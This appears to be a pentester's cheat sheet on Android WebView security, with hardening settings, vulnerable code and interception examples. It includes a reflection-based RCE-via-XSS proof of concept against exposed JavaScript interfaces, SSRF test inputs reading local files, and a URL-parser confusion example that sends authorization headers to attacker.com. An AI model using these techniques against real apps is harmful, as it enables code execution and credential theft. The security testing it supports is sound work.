WebViews
WebViews¶
Disable Plugins like Flash
 Disable Javascript
 Disable File system Access
Things to grep for:
 - setAllowContent
 - setAllowFileAccess
 - setAllowFileAccessFromFileURLS
 - setAllowUniversalAccessFromFileURLs
 - setJavaScriptEnabled
 - setPluginState
 - setSavePassword
Code:
 - webview.loadUrl()
Disable Javascript:
 
webview = new WebView(this);
webview.getSettings().setJavaScriptEnabled(false);
Disable Support for Plugins:
 
webview = new WebView(this);
webview.getSettings().setPluginsEnabled(false);
webview.getSettings().setPluginState(PluginState.OFF);
Disable File Access:
 
webview = new WebView(this);
webview.getSettings().setAllowFileAccess(false);
Get URLS¶
private class MyWebViewClient extends WebViewClient {
  @Override
  public boolean shouldOverrideUrlLoading(WebView view, String url) {
    private static final String LOG_TAG = "MWRLabs";
    Log.d(LOG_TAG, "[x] getHost: " + Uri.parse(url).getHost());
    Log.d(LOG_TAG, "[x] getScheme: " + Uri.parse(url).getScheme());
    Log.d(LOG_TAG, "[x] getPath: " + Uri.parse(url).getPath());
    if (Uri.parse(url).getHost().equals("labs.mwrinfosecurity.com")){return true;}
    return false;
  }
}
Security¶
setAllowUniversalAccessFromFileURLs¶
Vulnerable Code:
 
public class MyBrowser extends Activity
{
  @override 
  public void onCreate(Bundle savedInstatceState){
    super.onCreate(savedInstatceState);
    setContentView(R.layout.main);
    WebView sebView = (WebView) findViewById(R.id.webview);
    WebSettings settings = webView.getSettings();
    settings.setJavaScriptEnabled(true);
    settings.setAllowUniversalAccessFromFileURLs(true);
    String trul = getIntent.getStringExtra("URL");
    webView.loadUrl(turl);
  }
}
Intercept Request and Responses¶
@Override
  public WebResourceResponse shouldInterceptRequest (final WebView view, String url) {
    if (url.contains(".js")){return getWebResourceResponseFromString();}
    else {return super.shouldInterceptRequest(view, url);}
  }
  private WebResourceResponse getWebResourceResponseFromString(){
    return getUtf8EncodedWebResourceResponse(new StringBufferInputStream("alert('!NO!')"));
  }
  private WebResourceResponse getUtf8EncodedWebResourceResponse(InputStream data){
    return new WebResourceResponse("text/css", "UTF-8", data);
  }
Javascript Interfaces¶
Calling Android Functions from Javascript
Example Code:
 
Class JavascriptObj
{
  @JavascriptInterface public String hello(){
    return "I am from Java code";
  }
  webview.addJavascriptInterface( new JavaScriptObj(), "jsvar");
  String content = "<html> <script>alert(jsvar.hello()); </script> </html>";
  webview.loadData(content, "text/html", null);
}
Getting RCE using XSS:
 
//targetSDK <= 17 PoC
var cmd = "ping example.com";
window.jsvar.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec(cmd);
SSRF¶
Things to Try to load :
 - javascript://
 - file:///path/to/private
URL verification¶
Dont mix android.net.Uri and java.net.URL parsers.
Vulnerable Code:
 
String url = "http://attacker.com\\\\@legitimate.com/smth";
Log.d("Wow", Uri.parse(url).getHost()); // legitimate.com is printed!
webView.loadUrl(url, getAuthorizationHeaders()); // attacker.com is loaded :P